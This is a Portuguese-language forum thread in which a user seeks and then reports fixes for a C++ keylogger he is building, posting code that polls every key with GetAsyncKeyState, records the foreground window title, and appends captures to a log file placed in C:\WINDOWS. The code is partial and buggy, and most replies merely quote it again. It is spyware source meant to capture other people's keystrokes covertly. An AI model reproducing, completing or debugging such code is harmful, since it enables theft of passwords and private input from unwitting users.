Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Keyloger: problema com captura de janela ativa

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Keyloger: problema com captura de janela ativa

    E ae galera blz?

    estou precisando de uma ajudinha com um trecho de um kl que estou fazendo no Visual C++ 2008, em especial na parte de capturar o título da janela ativa.

    O problema é que está inserindo no titulo repetido quando na verdade só é pra inserir o próximo quando for diferente do anterior.

    Segue o código:

    Código:
    void actwnd()
    
    {
    
    wchar_t  lastwindow[MAX_PATH];
    wchar_t  currentwindow[MAX_PATH];
    HWND mainwindow;
    mainwindow = GetForegroundWindow();
    GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));
    
    if(lastwindow==currentwindow)
    		{
    		}
    
    		else
    		if(lastwindow!=currentwindow)
    		{   
         
    		strcpy ((char*)lastwindow,(char*)currentwindow);
    		String^ strNew = gcnew String(currentwindow);
    	//	String^ wnd = gcnew String(reinterpret_cast<wchar_t*>(currentwindow));
    		textBox1->Text += strNew;
    
    		}
    }
    
    
    // Setar Timer para 1000ms
    private: System::Void timer1_Tick(System::Object^  sender, System::EventArgs^  e) {
    
    				 actwnd();
    			 }
    Não faço a menor ideia do que possa estar errado.
    Agradeço qualquer sugestão.

  • Font Size
    #2
    Postado Originalmente por FL4SHC0D3R Ver Post
    E ae galera blz?

    estou precisando de uma ajudinha com um trecho de um kl que estou fazendo no Visual C++ 2008, em especial na parte de capturar o título da janela ativa.

    O problema é que está inserindo no titulo repetido quando na verdade só é pra inserir o próximo quando for diferente do anterior.

    Segue o código:

    Código:
    void actwnd()
    
    {
    
    wchar_t  lastwindow[MAX_PATH];
    wchar_t  currentwindow[MAX_PATH];
    HWND mainwindow;
    mainwindow = GetForegroundWindow();
    GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));
    
    if(lastwindow==currentwindow)
    		{
    		}
    
    		else
    		if(lastwindow!=currentwindow)
    		{   
         
    		strcpy ((char*)lastwindow,(char*)currentwindow);
    		String^ strNew = gcnew String(currentwindow);
    	//	String^ wnd = gcnew String(reinterpret_cast<wchar_t*>(currentwindow));
    		textBox1->Text += strNew;
    
    		}
    }
    
    
    // Setar Timer para 1000ms
    private: System::Void timer1_Tick(System::Object^  sender, System::EventArgs^  e) {
    
    				 actwnd();
    			 }
    Não faço a menor ideia do que possa estar errado.
    Agradeço qualquer sugestão.

    Pessoal ja consegui resolver essa questão, agora tenho o seguinte =>

    Código:
    #include <windows.h>
    #pragma comment (lib, "user32")
    
    using namespace System::IO;
    
    String^ path;
    
    void actwnd()
    {
    
    static wchar_t  lastwindow[MAX_PATH];
    wchar_t  currentwindow[MAX_PATH];
    HWND mainwindow;
    
    mainwindow = GetForegroundWindow();
    GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));
    
    if(lastwindow==currentwindow)
    		{
    		}
    
    		else
    		if(wcscmp(lastwindow,currentwindow)!=0)
    		{        
    		
    		wcscpy (lastwindow,currentwindow);
    		String^ strNew = gcnew String(currentwindow);
    	//	String^ wnd = gcnew String(reinterpret_cast<wchar_t*>(currentwindow));
    		File::AppendAllText(path,strNew);
    
    		}
    }
    
    void Keylogger()
    {
    
    path = String::Concat(L"C:","\\WINDOWS\\","LOG.txt");
    
       while(true)
       {
        for(i=0; i<=255; i++)
        {
    		if(GetAsyncKeyState(i) == -32767)
    
              actwnd();
            save(i);
    	}
      }
    }
    Agora o grande problema é na inserção do título da janela ativa dentro do documento de text, simplesmente quando executo o programa, ao invés dele esperar que uma tecla seja pressionada para chamar a função de janela ativa, não; ele acessa logo tal função e fica inserindo infinitamente no arquivo txt coisas estranhas, inclusive as vezes insere o nome de todas as teclas do teclado, isso tudo, sem parar, ao menos que vc barre a execução .

    O que será que está causando isso? com um Timer e um textBox1 a função funciona perfeitamente! ja dentro desse "While(true){ }" não funfa. já tentei de várias formas, mas até agora sem sucesso.

    Comment


    • Font Size
      #3
      Postado Originalmente por FL4SHC0D3R Ver Post
      Pessoal ja consegui resolver essa questão, agora tenho o seguinte =>

      Código:
      #include <windows.h>
      #pragma comment (lib, "user32")
      
      using namespace System::IO;
      
      String^ path;
      
      void actwnd()
      {
      
      static wchar_t  lastwindow[MAX_PATH];
      wchar_t  currentwindow[MAX_PATH];
      HWND mainwindow;
      
      mainwindow = GetForegroundWindow();
      GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));
      
      if(lastwindow==currentwindow)
      		{
      		}
      
      		else
      		if(wcscmp(lastwindow,currentwindow)!=0)
      		{        
      		
      		wcscpy (lastwindow,currentwindow);
      		String^ strNew = gcnew String(currentwindow);
      	//	String^ wnd = gcnew String(reinterpret_cast<wchar_t*>(currentwindow));
      		File::AppendAllText(path,strNew);
      
      		}
      }
      
      void Keylogger()
      {
      
      path = String::Concat(L"C:","\\WINDOWS\\","LOG.txt");
      
         while(true)
         {
          for(i=0; i<=255; i++)
          {
      		if(GetAsyncKeyState(i) == -32767)
      
                actwnd();
              save(i);
      	}
        }
      }
      Agora o grande problema é na inserção do título da janela ativa dentro do documento de text, simplesmente quando executo o programa, ao invés dele esperar que uma tecla seja pressionada para chamar a função de janela ativa, não; ele acessa logo tal função e fica inserindo infinitamente no arquivo txt coisas estranhas, inclusive as vezes insere o nome de todas as teclas do teclado, isso tudo, sem parar, ao menos que vc barre a execução .

      O que será que está causando isso? com um Timer e um textBox1 a função funciona perfeitamente! ja dentro desse "While(true){ }" não funfa. já tentei de várias formas, mas até agora sem sucesso.

      Já resolvi pessoal, acabei optando por um textBox e um Timer mesmo para armazenar as teclas pressionadas e monitorar a janela ativa.

      Comment

      X
      Working...
      X